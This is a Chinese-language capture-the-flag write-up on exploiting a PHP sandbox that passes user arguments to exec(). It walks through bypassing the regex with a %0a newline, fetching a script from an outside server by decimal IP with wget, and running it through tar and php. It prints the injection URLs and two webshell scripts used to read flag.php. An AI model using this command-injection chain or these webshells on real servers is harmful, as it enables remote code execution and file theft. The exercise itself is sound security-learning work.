解题报告
本地环境搭建的时候,要把php.ini里的disable_function:后面的exec给去掉,不然就不能执行exec()函数。
去掉以后,要重启一下php-fpm: ststemctl restart php-fpm
wget 命令:从指定的服务器IP下载文件
解题:
审计代码:
- 读完代码后发现服务器将会给每个客户端ip以IP号在当前目录下(www下面)的sandbox文件夹下创建一个文件夹。
- 会对用户get提交的字段进行正则匹配,只允许字母和数字。
exec('./ ' . implode(" ", $args))
:说明我传入的参数数组会以空格分开,并在系统命令行调用。这就是个大漏洞了。
一些想法:
- 首先明确,我是要传入一个webshell来达到目的,比方说扫描目录。因为通过前面审计,已经知道了文件位置,就在 sandbox/IP/,可以直接访问。
- 有exec()函数,那我就可以用get传参的形式传递一些linux命令。达到一些效果。
- 由于对输入参数要进行preg_match(),只允许字母数字和前面提到的换行符,所以直接通过命令行写入是不可能的,特殊符号都被过滤掉了。那该怎么上传呢?查百度知道了可以用wget命令从指定服务器下载文件,默认下载网页更目录下的首页index文件。
- 那么,我就是要通过传参数实现命令的方式,来从指定的服务器下载我的脚本,然后执行它,获得我要的东西。
知识点:
- wget下载的php文件会被解析,也就是说他下载的文件只是页面上显示出来的信息。由于对输入进行了过滤,不能直接写ip地址(里面有点号),所以可以把他转化为十进制地址。
- 题目中的正则匹配有个漏洞,
/^\w+$\
中的$
当遇到一个字符串的结尾是换行符(%0a)时还是可以匹配的。 利用这个特性,就可以绕过前面的preg_match()检查,同时多出的换行符还可以在exec()
函数中执行 ,实现了Lunix命令行换行的效果。 - 当要执行PHP文件的时候,直接通过传参数的方式发送命令 php + {要解析的文件名},但是下载来的文件是有.html后缀的,显然这个”.”过不了正则匹配。其实,在Linux中PHP能够执行非压缩的打包的PHP文件 ,那么我们就可以把脚本下载到文件中,然后php +{文件名}执行它,产生效果,且能绕过正则匹配。
解题流程:
//这是扫描目录脚本
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
if(isset($_POST["cmd"])){
$path=$_POST["cmd"];
print eval(var_dump(scandir($path)));
}else{
echo "no post";
}
?>
');
?>
//这是知道flag.php文件位置后,查看php文件的脚本(拼接路径,cat查看文件)
<?php
file_put_contents('shell2.php', '
<?php
$output;
$path1=dirname(__FILE__);
$path2=dirname($path1);
$path3=dirname($path2);
$comment="cat ".$path3."/flag.php";
exec($comment,$output);
print_r($output);
?>
');
?>
先创建一个文件夹,用于存放wget下载来的脚本,注意当前目录为sandbox/IP/。
?args[]=xxx%0a&args[]=mkdir&args[]=zj
进入文件夹并下载脚本
?args[]=xxx%0a&args[]=cd&args[]=zj%0a&args[]=wget&args[]={服务器十进制Ip}
用tar命令将文件打包
?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=muma&args[]=zj
执行这个文件产生效果
?args[]=xxx%0a&args[]=php&args[]=muma
这时候在sandbox/ip/目录下访问脚本产生的shell.php,通过post传值 (cmd=”{基于该目录下的目录路径}”),传入”.”查看当前目录下的文件,传入”../”查看上级目录就是sandbox/下的文件,传入”../../”,就可以看到有个flag.php了。
那么久访问一下这个flag.php,但是这个文件没有任何回显,flag肯定藏在注释里了。
知道文件位置信息后,重复上面的步骤,上传另一个脚本,(注意文件夹的名字换一个),再访问第二次产生的shell2.php,flag就出来啦~
//Array ( [0] => //flag{everyday_MO_jUmO_PanG_JU} )